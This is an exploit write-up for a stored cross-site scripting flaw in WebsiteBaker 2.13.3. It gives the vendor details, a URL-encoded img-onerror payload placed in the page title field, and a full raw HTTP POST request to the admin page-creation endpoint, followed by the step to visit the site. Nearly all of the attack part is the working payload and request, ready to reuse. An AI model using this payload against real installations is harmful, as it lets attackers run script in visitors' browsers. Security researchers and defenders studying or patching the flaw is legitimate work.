WebsiteBaker 2.13.3 Cross Site Scripting

Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)Application: WebsiteBakerVersion: 2.13.3Bugs:  Stored XSSTechnology: PHPVendor URL: https://websitebaker.org/pages/en/home.phpSoftware Link: https://wiki.websitebaker.org/doku.php/en/downloadsDate of found: 02.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the page can do thispayload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3EPOST /admin/pages/add.php HTTP/1.1Host: localhostContent-Length: 137Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9Connection: closeb7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add2. Visit http://localhost/